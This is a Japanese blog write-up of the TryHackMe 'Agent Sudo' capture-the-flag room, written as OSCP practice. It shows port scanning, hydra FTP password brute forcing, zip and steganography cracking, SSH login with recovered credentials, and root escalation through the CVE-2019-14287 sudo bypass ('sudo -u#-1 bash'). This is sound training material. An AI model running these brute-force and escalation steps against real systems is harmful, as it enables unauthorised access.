LoginSignup
0
0

【TryHackMe】Agent Sudo CTF Writeup

Last updated at Posted at 2023-09-29

はじめに

OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「Agent Sudo」というRoomを攻略しました。
今回のRoomは5つの構成となります。
※扱い次第では法に触れるため、悪用厳禁です。

Task 1 Author note

マシンを起動するのみの為、省略します。

Task 2 Enumerate

How many open ports?

ますポートスキャンを実施します。

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.215.230
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-27 04:56 EDT
Warning: 10.10.215.230 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.215.230
Host is up (0.26s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE    SERVICE
21/tcp  open     ftp
22/tcp  open     ssh
80/tcp  open     http
366/tcp filtered odmr

Nmap done: 1 IP address (1 host up) scanned in 32.50 seconds

表示されているポートは4つありますが、open状態であるのは3つなので答えは「3」になります。

How you redirect yourself to a secret page?

80ポートが開いている為、gobusterコマンドで隠しディレクトリを探しましたが特に何も見つからず。。

とりあえず「10.10.215.230」へアクセスします。
image.png

独自のuser-agentでアクセスしろとのこと。
おそらくこのサイトを別のuser-agentを指定してアクセスする必要があると思われます。
リダイレクト方法は「user-agent」になります。

What is the agent name?

Burp Suiteを使用してuser-agentを総当たりで調べます。
こちらのツールの初期設定等は省略します。

Burp Suiteを起動して「Proxy」タブの「Intercept」の「Intercepts is off」を選択し、「Intercepts is on」にします。
image.png

続いてFirefoxの拡張機能「FoxyProxy」を有効化してからページを更新します。
image.png

するとBurp Suiteにキャプチャした通信内容が表示されます。
右クリックでメニューを開いて「Send to Intruder」をクリックします。
image.png

「Intruder」タブへ移動して、その中の「Positions」タブにて今回特定したい「User-Agent」の値に§で囲まれた任意な文字列を指定します。
image.png

「Payloads」タブに移動し、user-agent情報を総当たりで調べます。
先ほどアクセスした「10.10.215.230」のブラウザ上にあったメッセージより、user-agentはおそらく大文字のアルファベット1文字と思われるため、大文字アルファベット26文字を順々にuser-agentに指定します。
下記の通り変更して「Start attack」をクリックします。

変更情報

Payload type:Brute forcer
Charcter set:ABCDEFGHIJKLMNOPQRSTUVWXYZ
Min length:1
Max length:1

image.png

CのみStatusが異なることから、user-agent情報がCであることが分かりました。
image.png

「Proxy」タブの「Intercept」タブに戻り、通信内容を書き換えてアクセスします。
「User-Agent」をCに変更してから「Intercept on」をクリックすることで、ページが更新されます。
image.png

ブラウザ上のメッセージが変わりました。
image.png

ということでagent名の答えは「chris」になります。

Task 3 Hash cracking and brute-force

FTP password

FTPにログインするパスワードを探します。
本来ログインするにはユーザ名とパスワードが必要になりますが、ユーザ名とパスワードのどちらかが分かれば、hydraを使用することで、不特定であるもう片方の情報を総当たりで調べることができます。

前のタスクで特定した「chris」がユーザ名と思われるため、この情報と、hydraを使用してパスワードの特定を試みます。

┌──(kali㉿kali)-[~/Desktop]
└─$ hydra -l chris -P rockyou.txt 10.10.215.230 ftp -t 4 
 -k v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-27 08:09:14
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ftp://10.10.215.230:21/
[STATUS] 56.00 tries/min, 56 tries in 00:01h, 14344343 to do in 4269:09h, 4 active
[STATUS] 57.33 tries/min, 172 tries in 00:03h, 14344227 to do in 4169:51h, 4 active
[21][ftp] host: 10.10.215.230   login: chris   password: crystal
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-27 08:13:42

という事でパスワードは「crystal」になります。

Zip file password

ユーザ名とパスワードが分かった為、ftpサーバにログインします。

┌──(kali㉿kali)-[~]
└─$ ftp chris@10.10.215.230
Connected to 10.10.215.230.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ディレクトリ内のファイル情報を確認したところ、1つのテキストファイルと2つの画像ファイルを確認しました。
getコマンドを使用し、ファイルを1つずつローカル環境にダウンロードします。

ftp> ls
229 Entering Extended Passive Mode (|||40485|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt
-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg
-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png
226 Directory send OK.
ftp> 
ftp> get To_agentJ.txt
local: To_agentJ.txt remote: To_agentJ.txt
229 Entering Extended Passive Mode (|||46850|)
150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).
100% |********************************|   217       55.41 KiB/s    00:00 ETA
226 Transfer complete.
217 bytes received in 00:00 (0.85 KiB/s)
...

テキストファイルには特にヒントは無さそうでした。。
画像ファイルは一見特に無さそうですが、何かヒントの文字列が組み込まれていないかsteghideやbinwalk辺りのコマンドを使用して調べます。

┌──(kali㉿kali)-[~]
└─$ binwalk -e cutie.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced
869           0x365           Zlib compressed data, best compression

WARNING: Extractor.execute failed to run external extractor 'jar xvf '%e'': [Errno 2] No such file or directory: 'jar', 'jar xvf '%e'' might not be installed correctly
34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820         0x8804          End of Zip archive, footer length: 22

steghideはパスワードが必要の為使えず、binwalkによって1つのフォルダが出力されました。
image.png
フォルダの中にあったzipファイルのパスワードはJohn the Ripperで解析します。

┌──(kali㉿kali)-[~/_cutie.png.extracted]
└─$ zip2john 8702.zip > hash.txt
                                                                             
┌──(kali㉿kali)-[~/_cutie.png.extracted]
└─$ john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 SSE2 4x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
alien            (8702.zip/To_agentR.txt)     
1g 0:00:00:01 DONE 2/3 (2023-09-27 07:44) 0.5747g/s 25680p/s 25680c/s 25680C/s ilovegod..Peter
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

zipファイルのパスワードは「alien」となります。

steg password

先ほどのzipファイルを解凍したところ、1つのテキストファイルが格納されていました。

Agent C,

We need to send the picture to 'QXJlYTUx' as soon as possible!

By,
Agent R

この「QXJlYTUx」ををbase64でデコードすると「Area51」になりました。

┌──(kali㉿kali)-[~/_cutie.png.extracted]
└─$ echo -n "QXJlYTUx" | base64 -d
Area51        

Who is the other agent (in full name)?

再度steghideコマンドを実行し、パスワードとして先ほどデコードした文字列を入力したところ1つのテキストファイルが出力されました。

┌──(kali㉿kali)-[~]
└─$ steghide extract -sf cute-alien.jpg
Enter passphrase: 
wrote extracted data to "message.txt".
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris

「chirs」は既に判明している為、エージェント名として答えは「james」になります。
また何かにログイン時に使用すると思われるパスワード「hackerrules!」も確認することが出来ます。

SSH password

Task 4 Capture the user flag

What is the user flag?

前のタスクでユーザ名とパスワードが分かったため、sshを使用してログインします。

┌──(kali㉿kali)-[~]
└─$ ssh james@10.10.215.230 
The authenticity of host '10.10.215.230 (10.10.215.230)' can't be established.
ED25519 key fingerprint is SHA256:rt6rNpPo1pGMkl4PRRE7NaQKAHV+UNkS9BfrCy8jVCA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.215.230' (ED25519) to the list of known hosts.
james@10.10.215.230's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 System information disabled due to load higher than 1.0


75 packages can be updated.
33 updates are security updates.


Last login: Tue Oct 29 14:26:27 2019
james@agent-sudo:~$ 

ログインしてすぐディレクトリを確認したところ、フラグが書かれたファイルを確認しました。

james@agent-sudo:~$ ls
Alien_autospy.jpg  user_flag.txt
james@agent-sudo:~$ 
james@agent-sudo:~$ cat user_flag.txt 

What is the incident of the photo called?

フラグの書かれたファイルに加えて画像ファイルを確認したため、それをローカル環境にダウンロードします。


┌──(kali㉿kali)-[~]
└─$ scp james@10.10.215.230:Alien_autospy.jpg out.jpg

james@10.10.215.230's password: 
Alien_autospy.jpg                          100%   41KB  42.0KB/s   00:00  

画像検索を行うと「Roswell alien autopsy」と呼ばれる事が分かります。

Task 5 Privilege escalation

CVE number for the escalation

下記コマンドを使用し、jamesユーザの実行可能なsudoのコマンドを確認します。

james@agent-sudo:~$ sudo -l
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

実行結果「(ALL, !root) /bin/bash」を調べると、CVEが「CVE-2019-14287」であることが分かります。

What is the root flag?

「CVE-2019-14287」はsudoコマンドの脆弱性であり、uidを-1か4294967295にすることで0が返されます。またuidの0に割り振られているのはrootユーザになる為、本来は使用不可な特権コマンドを使用することが出来ます。

下記のコマンドを実施して、rootユーザへ昇格しました。

james@agent-sudo:~$ sudo -u#-1 bash
root@agent-sudo:/#

ルートディレクトリに戻りrootフォルダ内に最後のフラグが書かれたテキストファイルがある為、確認します。

root@agent-sudo:/# cat root/root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. 

Your flag is 


By,
DesKel a.k.a Agent R
root@agent-sudo:/# 

(Bonus) Who is Agent R?

フラグの書かれたテキストファイルより「DesKel」になります。

さいごに

以上となります。
Burp Suiteの使い方については、もう少し勉強して起きたいところです。。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0